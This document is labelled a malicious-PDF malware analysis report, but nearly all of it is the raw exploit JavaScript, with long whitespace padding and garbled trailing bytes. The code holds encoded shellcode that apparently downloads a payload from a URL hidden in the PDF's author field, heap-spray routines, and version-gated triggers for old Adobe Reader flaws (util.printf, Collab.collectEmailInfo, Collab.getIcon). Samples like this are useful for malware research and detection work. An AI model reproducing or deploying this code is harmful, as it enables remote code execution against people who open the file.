Malicious PDF — malware analysis report

var qH                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
... (truncated)

feBFfeeFVffeFFFVFFFfFFFeFffeVVe2eeVfbVfFFbVV%%Vf%%%fffV%e%FeFF#eFF
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1440%u008B%u008B%u588B%uEB10%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u65B8%u652E%uAB78%u9866%uAB66%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u5231%uB850%u1A36%u702F%u55FF%u5B04%uFF33%u5657%u98B8%u8AFE%uFF0E%u0455%uB857%uCEEF%u60E0%u55FF%u6804%u7474%u3A70%u2F2F";

	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};

function sRLZYf(GLxg,THaby){while(GLxg.length*2 < THaby){GLxg+=GLxg;}GLxg=GLxg.substring(0,THaby/2);return GLxg;}function jnr(){var KdRvw=get_shellcode("CollabUTIL");

var YaM=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var VuyYV=YaM+KdRvw;var nYhg=unescape("%u0A0A%u0A0A");var UEXZT=20;var EdaVEk=UEXZT+VuyYV.length;while(nYhg.length < EdaVEk){nYhg+=nYhg;}var QLq=nYhg.substring(0,EdaVEk);var cNKsm=nYhg.substring(0,nYhg.length-EdaVEk);while(cNKsm.length+EdaVEk<0x40000){cNKsm=cNKsm+cNKsm+QLq;}var LPmEhRU=new Array();for(var i=0;i<1400;i++){LPmEhRU[i]=cNKsm+VuyYV;}var yLWdSkq=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",yLWdSkq);}
function ZmRpQ(){var tLTsV=get_shellcode("CollabEMAIL");
var LPmEhRU=new Array();var FNeZZn=0x0c0c0c0c;var MaLjNA=0x400000;var tcwXwm=tLTsV.length*2;var THaby=MaLjNA-(tcwXwm+0x38);var GLxg=unescape("%u9090%u9090");GLxg=sRLZYf(GLxg,THaby);var xEB=(FNeZZn-0x400000)/MaLjNA;for(var NcGEjzZ=0;NcGEjzZ < xEB;NcGEjzZ++){LPmEhRU[NcGEjzZ]=GLxg+tLTsV;}var dcv=unescape("%u0c0c%u0c0c");while(dcv.length<44952){dcv+=dcv;}this.collabStore=Collab.collectEmailInfo({subj:"",msg:dcv});}function wcc(){if(app.doc.Collab.getIcon){var pfGH=new Array();
var Yutw=get_shellcode("CollabICON");
var Jkw=Yutw.length*2;var THaby=0x400000-(Jkw+0x38);var GLxg=unescape("%u9090%u9090");
GLxg=sRLZYf(GLxg,THaby);var QhcpRBAy=(0x0c0c0c0c-0x400000)/0x400000;
for(var VUrd=0;VUrd < QhcpRBAy;VUrd++){pfGH[VUrd]=GLxg+Yutw;}var FrhvTVk=unescape("%09");while(FrhvTVk.length<0x4000){FrhvTVk+=FrhvTVk;}FrhvTVk="N."+FrhvTVk;app.doc.Collab.getIcon(FrhvTVk);}}function RUCXp(){var ZttFWtXh=app.viewerVersion.toString();ZttFWtXh=ZttFWtXh.replace(/\D/g,'');var gWehQ=new Array(ZttFWtXh.charAt(0),ZttFWtXh.charAt(1),ZttFWtXh.charAt(2));if((gWehQ[0]==8)&&(gWehQ[1]==0)||(gWehQ[1]==1&&gWehQ[2]<3)){jnr();}if((gWehQ[0]<8)||(gWehQ[0]==8&&gWehQ[1]<2&&gWehQ[2]<2)){ZmRpQ();}if((gWehQ[0]<9)||(gWehQ[0]==9&&gWehQ[1]<1)){wcc();}}

RUCXp();VeFVVBVB%fffbe#fF&FefFffF&FB&B&VfFeeeVVFFF$$Ff&&&ReVFRRRRRFVtV��V���V՛��V���